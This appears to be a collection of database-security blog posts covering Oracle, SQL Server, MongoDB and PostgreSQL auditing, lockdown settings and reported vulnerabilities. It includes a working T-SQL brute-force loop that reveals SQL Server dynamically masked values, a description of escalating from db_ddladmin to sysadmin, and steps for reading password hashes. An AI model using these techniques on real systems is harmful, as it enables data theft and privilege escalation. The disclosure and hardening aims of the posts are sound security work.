Oracle 23c New Security Feature : Audit on Column Level Access

Reference:

https://docs.oracle.com/en/database/oracle/oracle-database/23/dbseg/creating-custom-unified-audit-policies.html#GUID-60FF97BE-DA3B-4919-A337-B88783D2010F

I will create a demo table under HR schema  called test_table:

SQL> create table hr.test_table (emp_fname varchar2(70), emp_lname varchar2(70), salary number);

I will insert dummy data:

SQL> insert into hr.test_table values (‘Tom’,’Hanks’, 2000);

SQL> insert into hr.test_table values (‘Daniel’, ‘Craig’, 1300);

SQL> commit;

I will create an audit policy to monitor queries targeting sensitive column “salary”:

SQL> CREATE AUDIT POLICY emp_hr_emp_sal_access_pol

 ACTIONS SELECT(SALARY) ON hr.test_table;

SQL> AUDIT POLICY emp_hr_emp_sal_access_pol;

SQL> select * from unified_audit_trail order by event_timestamp desc;

To test auditing I will query the table column “salary”:

SQL> select salary from hr.test_table;

Checking Unified Audit Trail:

SQL> select action_name,OBJECT_NAME,SQL_TEXT,unified_audit_policies from unified_audit_trail  where unified_audit_policies=’EMP_HR_EMP_SAL_ACCESS_POL’ order by event_timestamp desc;

And, as expected when creating another table based on the original table:

SQL> create table test_table2 as select * from test_table;

Also, an audit will be captured with synonym is being created for the table:

SQL> create public synonym test_table for hr.test_table;

SQL> select * from test_table;

MongoDB MONGOSH Password Exposure Vulnerability

Environment:

Mongosh versions: 2.0.1 , 2.1.1,2.1.4,2.1.5

MongoDB database versions: 5.0.18 , 7.0.2

Operating Systems: Windows 10, Linux Red Hat 8

***UPDATE APRIL 2024***:

MongoDB fixed the below two security vulnerabilities reported by me as follows:

version v2.2.3: MONGOSH-1682 – Fixed a race condition that could lead to commands, including sensitive information, not being properly redacted from the history file.

version v2.2.0: MONGOSH-1667 – passwordPrompt() works as originally intended.

URL reference: https://www.mongodb.com/docs/mongodb-shell/changelog/

Two valid security bugs that you should be aware of when using “mongosh” command line utility.

per documentation:

https://www.mongodb.com/docs/manual/reference/method/passwordPrompt/#mongodb-method-passwordPrompt

The password should not be displayed, however I found out that it appears clearly in the prompt !

The password function passwordPrompt() was tested and used in conjunction with db.createUser, db.changeUserPassword, db.auth commands and all of them were allowing clear text password to appear.

admin> use admin
already on db admin
admin> db.createUser({user:”mongo2″, pwd: passwordPrompt(), roles:[“root”]})
Enter password
mongo
*{ ok: 1 }
admin>

Mongosh was tested with both “remove”& “remove-redact” modes

config.set (redactHistory, “remove-redact”)

config.set (‘redactHistory’, “remove”)

In Linux Red Hat Environment the file: $MONGOHOME/.mongodb/mongosh/mongosh_repl_history

Contains the password in clear text for historical  commands run for authentication db.auth() and db.createUser  , per documentation: https://www.mongodb.com/docs/mongodb-shell/logs/ the logs should omit the credentials but this didn’t happen !

In windows operating system environment the file: C:\Users\windows_profile_user\AppData\Roaming\mongodb\mongosh

Commands running for database creation db.createUser and db.auth()  are logging the username, password explicitly as shown below:

Restricting ALTER SYSTEM command execution in both PostgreSQL and Oracle

In an extremely locked down environment where you want to disable many features to extremely reduce attack surface (this is in a very exceptional systems). There are many security products such as database vault, SELinux,….etc that  imposes restriction. So, can we for example restrict a DBA from executing “ALTER SYSTEM” command to prevent him from changing security parameters configurations….?

I will explore this in two popular database technologies PostgreSQL and Oracle.

as root user, I will make postgresql.auto.conf configuration file immutable :

chattr +i /var/lib/pgsql/15/data/postgresql.auto.conf

This will make the configuration file protected against write operations especially with .auto.conf file that is created under your $PGDATA directory to enable you to execute ALTER SYSTEM commands instead of changing the parameters directly in the text file postgresql.conf

As shown below….as superuser I can’t  execute ALTER SYSTEM any more….is this something you want to do ? you need to judge and asses if its worth it or not as it might cause operational impacts.

There are two methods, the first method is the certified and official way by oracle which is using LOCDOWN Profile security feature that will enable you to disable the execution of ALTER SYSTEM command. The second way is to make the server parameter file (spfile) immutable from any changes…THIS IS NOT CERTIFIED BY ORACLE [warning !]

First Method…LOCDOWN PROFILE:

in CDB$ROOT Define the locdown feature you want to disable:

SQL> create lockdown profile RESTRICT_ALTER_SYSTEM;

SQL> ALTER LOCKDOWN PROFILE RESTRICT_ALTER_SYSTEM DISABLE STATEMENT = (‘ALTER SYSTEM’) CLAUSE = (‘SET’,’SUSPEND’, ‘RESUME’);

SQL> select * from DBA_LOCKDOWN_PROFILES;

At the pluggable database level:

SQL> alter session set container=ORCLPDB1;

SQL> alter system set pdb_lockdown=RESTRICT_ALTER_SYSTEM;

SQL> startup force;

SQL> show parameter pdb_lockdown;

NAME                                 TYPE        VALUE

———————————— ———– ——————————

pdb_lockdown                         string      RESTRICT_ALTER_SYSTEM

Now, when you attempt to execute ALTER SYSTEM command:

SQL> alter system set sql92_security=FALSE scope=spfile;

alter system set sql92_security=FALSE scope=spfile

*

ERROR at line 1:

ORA-01031: insufficient privileges

Second Method….immutable SPFILE:

as root user:

chattr +i /opt/oracle/dbs/spfileORCLCDB.ora

cd /opt/oracle/dbs/

lsattr

——————– ./orapwORCLCDB

——————– ./hc_ORCLCDB.dat

——————– ./lkORCLCDB

—-i————— ./spfileORCLCDB.ora

——————– ./initORCLCDB.ora

sqlplus / as sysdba

SQL> alter system set remote_os_roles=TRUE scope=spfile;

alter system set remote_os_roles=TRUE scope=spfile

*

ERROR at line 1:

ORA-27072: File I/O error

Linux-x86_64 Error: 9: Bad file descriptor

Additional information: 4

Additional information: 5

Additional information: 4294967295

References:

https://docs.oracle.com/en/database/oracle/oracle-database/19/sqlrf/ALTER-LOCKDOWN-PROFILE.html

SQL Server Privilege Escalation from db_ddladmin to sysadmin

By design when you install SQL Server database engine a job is created called “syspolicy_purge_history”, and this job by design will run every day. This job will be weaponized for privilege escalation attack.

I will create a dummy account called “toto”  (for the sake of simulation it will be SQL Authenticated account):

And, then I will add the account as database user in system database MSDB with db_ddladmin permission:

GO

Then, I will execute the following modification code against the procedure:

The following warning message pops-up:

Warning: ‘is_ms_shipped’ property is turned off for procedure ‘dbo.sp_syspolicy_purge_history’ because you do not have permission to create or alter an object with this property.

The procedure code will be successfully modified anyhow with no issues, the next time the job will be running the modified code will  be executed successfully and account “toto” is elevated to “sysadmin” role as shown below:

This exploit and research was shared with Microsoft and Microsoft decided to update their documentation based on my research: https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/database-level-roles?view=sql-server-ver16

To protect from such attacks you will need to follow these security tips:

  • Implement in-place auditing for privilege escalation attacks [smart auditing….don’t audit everything as auditing will impose performance overhead]
  • Implement least privilege concept in your environment, do not grant any account extra permissions that can be weaponized for security breach.
  • Strong Identity and account management approach should be in-place, passwords policies are important to make brute force attacks challenging.
  • patch your environments , and follow best security practices.

MongoDB Security: Backup Role and Potential Privilege Escalation

Reference: https://www.mongodb.com/docs/manual/reference/built-in-roles/#mongodb-authrole-backup

The database role “backup” can be granted to an account for the scope/objective to perform database backup. This role will provide a segregation of duties and supposedly will limit data exposure as mongodump utility dumps the database in BSON binary format.

The catch here: an account granted “backup” can access the password hashes !

So, the admin MongoDB account with “root” role password hashes can be retrieved based on MongoDB documentation !

This is a very bad security design, account with “backup” role should have limited power and permissions “principle of least privilege (POLP)”, exposing password hashes with the current setup will enable the attacker who successfully compromised the backup account to elevate/escalate his/her permissions by cracking the password hashes of the admin account (password cracking process will be challenging task but possible).

To illustrate, I will access MongoDB database using “backup” account and will list password hashes as shown below:

mongosh -u backup_user –port 27017 –authenticationDatabase admin

The password hash for the database admin account (with root role) can be viewed !

Tool to crack MongoDB Password Hash: https://github.com/anthrax1/az5

Security Recommendations:

New SOURCE column is introduced in Unified Auditing View After Applying 19.21 Release Update Patch

After applying Oracle Critical Patch Update[October 2023] on 19c database: https://www.oracle.com/security-alerts/cpuoct2023.html

You will notice that unified audit view has the new column “SOURCE”, this is also was mentioned by Mr. Alexander Kornbrust in his tweet (in “X” formally twitter): https://x.com/kornbrust/status/1716097999716175964?s=20

I have talked about unified audit spill over files here: https://databasesecurityninja.wordpress.com/2019/12/07/unified-auditing-spillover-files/

Checking the unified_audit_trail view:

SQL> select OS_USERNAME,authentication_type,DBUSERNAME,CLIENT_PROGRAM_NAME,EVENT_TIMESTAMP,SQL_TEXT,SOURCE from unified_audit_trail order by EVENT_TIMESTAMP desc;

The SOURCE column has two values…either “DATABASE” or “FILE”

A FILE means a spill over audit file entry from the .BIN file.

After I have executed the following multiple times to load spill over files:

SQL> exec DBMS_AUDIT_MGMT.LOAD_UNIFIED_AUDIT_FILES;

Now checking unified_audit_view again , there is NO entry of SOURCE column with TYPE “FILE” any more:

SQL> select OS_USERNAME,authentication_type,DBUSERNAME,CLIENT_PROGRAM_NAME,EVENT_TIMESTAMP,SQL_TEXT,SOURCE from unified_audit_trail where SOURCE=’FILE’ order by EVENT_TIMESTAMP desc;

worth stating that oracle database system table gv_$unified_audit_trail retains the information for spill over audit files information in it.

Good Security Improvement, this enhancement already exists in 23c and back-ported to 19c !

CVE-2023-22074 – Oracle database password hash exposure in sharding component

The following is a vulnerability that is patched in Oracle Critical Patch Update in October 2023, so ALWAYS patch your environment…don’t underestimate the importance of patching !

For the simulation I will create an account called “jim” in pluggable database ORCLPDB1 and grant the account create session and select any dictionary privilege:

SQL> alter session set container=ORCLPDB1;

Session altered.

SQL> create user jim identified by jim123;

User created.

SQL> grant create session,select any dictionary to jim;

Grant succeeded.

I will now connect using database account “jim” and the account will be able to view the password hashes in system table DDL_REQUESTS_PWD used by database sharding component:

sqlplus “jim/jim123″@ORCLPDB1

SQL> show user

USER is “JIM”

SQL> select * from SYS.DDL_REQUESTS_PWD;

   DDL_NUM  PWD_BEGIN

———- ———-

ENC_PWD

——————————————————————————–

       123        445

E494684108560FFEF1C17CDE72F36A1A

SQL> select * from SYS.DDL_REQUESTS_PWD;

select * from SYS.DDL_REQUESTS_PWD

                  *

ERROR at line 1:

ORA-01031: insufficient privileges

So, this vulnerability is fixed in oracle 19c [19.21] and in 21c  [21.11]

Please note that vulnerability exists in “Oracle Database 23c Free, Release 23.0.0.0.0 – Developer-Release Version 23.2.0.0.0”.

URL refrence: https://www.oracle.com/security-alerts/cpuoct2023.html

CVE-2021-2207 RMAN Controlfile Operation Not Audited

The following is not a critical vulnerability, but shows the importance of “auditing” in your database system.

In this simulation, unified auditing logs the backup of controlfile successfully while restore operation was not as shown below:

rman target /

RMAN> backup current controlfile;

RMAN> restore controlfile to ‘/tmp/emad_ctl.ctl’;

Querying Unified Audit logs:

SQL> select audit_type,client_program_name,event_timestamp,rman_operation,rman_object_type,rman_device_type from unified_audit_trail where audit_type like ‘RMAN%’ order by event_timestamp desc;

As shown above…. control file backup was recorded under RMAN_OBJECT_TYPE column while restore operation was logged, but it was not clear for which database object….in our case its the controlfile !

This bug was fixed in April 2021 CPU :https://www.oracle.com/security-alerts/cpuapr2021.html

vulnerability is assigned CVE-2021-2207

Hacking SQL Server Dynamic Data Masking Feature with Brute Force Technique

Microsoft SQL Server database system has a security feature called “dynamic data masking” , this feature is designed to redact/mask column level values (columns containing sensitive data ….for example credit card number…etc).

The feature is good but has many security weaknesses that organizations/companies should be aware of….In this blog I will use brute force technique against the “where” conditional clause to retrieve actual data values (numeric values) in the PoC presented here.

I will create database called demodb and create table called dbo.COMPANY and insert dummy data in it:

create database demodb;

USE [demodb]

GO

SET ANSI_NULLS ON

GO

SET QUOTED_IDENTIFIER ON

GO

CREATE TABLE [dbo].[COMPANY](

[COMPANY_NAME] [nvarchar](max) NULL,

[SALES] [int] NULL

) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]

GO

USE [demodb]

GO

INSERT INTO [dbo].[COMPANY]

           ([COMPANY_NAME]

           ,[SALES])

     VALUES

           (‘COMPANY_C’,’93’)

GO

USE [demodb]

GO

INSERT INTO [dbo].[COMPANY]

           ([COMPANY_NAME]

           ,[SALES])

     VALUES

           (‘COMPANY_A’,’11’)

GO

USE [demodb]

GO

INSERT INTO [dbo].[COMPANY]

           ([COMPANY_NAME]

           ,[SALES])

     VALUES

           (‘COMPANY_B’,’78’)

GO

 I will enable dynamic data masking function against SALES column:

 ALTER TABLE dbo.COMPANY

ALTER COLUMN SALES INT MASKED WITH (FUNCTION = ‘default()’);

Then, will create a user called reg_user that can only query the table, so the user will only see SALES column with complete masked data [ZERO values]:

CREATE USER reg_user WITHOUT LOGIN;

GRANT SELECT ON dbo.COMPANY to reg_user;

EXECUTE AS USER = ‘reg_user’;

SELECT * FROM dbo.COMPANY;

REVERT;

However, using the same non-privileged database account reg_user …I will be able to extract Actual Values :

EXECUTE AS USER = ‘reg_user’;

 DECLARE @sales_txt nvarchar(max);

 DECLARE @LCounter INT= 1;

 WHILE (@LCounter < 99)

 BEGIN

SET @sales_txt=(SELECT COMPANY_NAME+’ sales is ‘ +CAST (@LCounter as nvarchar)

   FROM dbo.COMPANY

   WHERE SALES=@LCounter)

   print @sales_txt

   SET @LCounter  = @LCounter  + 1

   END

REVERT;

Output:

COMPANY_A sales is 11

COMPANY_B sales is 78

COMPANY_C sales is 93

Actual values were successfully extracted from the masked column !